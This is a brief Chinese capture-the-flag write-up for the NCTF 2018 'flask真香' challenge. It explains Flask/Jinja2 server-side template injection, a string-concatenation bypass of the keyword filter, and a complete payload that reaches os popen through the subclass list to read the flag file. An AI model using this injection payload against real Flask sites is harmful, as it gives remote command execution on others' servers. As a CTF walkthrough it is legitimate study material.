[NCTF 2018]flask真香
进入题目换一页

先随便才一个参数


在flask里面可以有两种船只的方式,一种是需要参数的,另一种则不需要,这道题是第二种。
bp抓包fuzz一下,过滤了这些东西

这个过滤其实并不算很严格,用最简单的拼接就可以绕过了。
{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()}}
查找os._wrap_close,其他模块也可以,这个模块比较常用。
一个不需要写脚本就可以知道os.wrap.close是第几个的小技巧
找到这模块之后,选择前面一个的 >(大于号) ,然后ctrl+F 输入>回车

得到位置179。
完整的payload:
{{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[179].__init__.__globals__['pop'+'en']('cat /Th1s_is__F1114g').read()}}}

浙公网安备 33010602011771号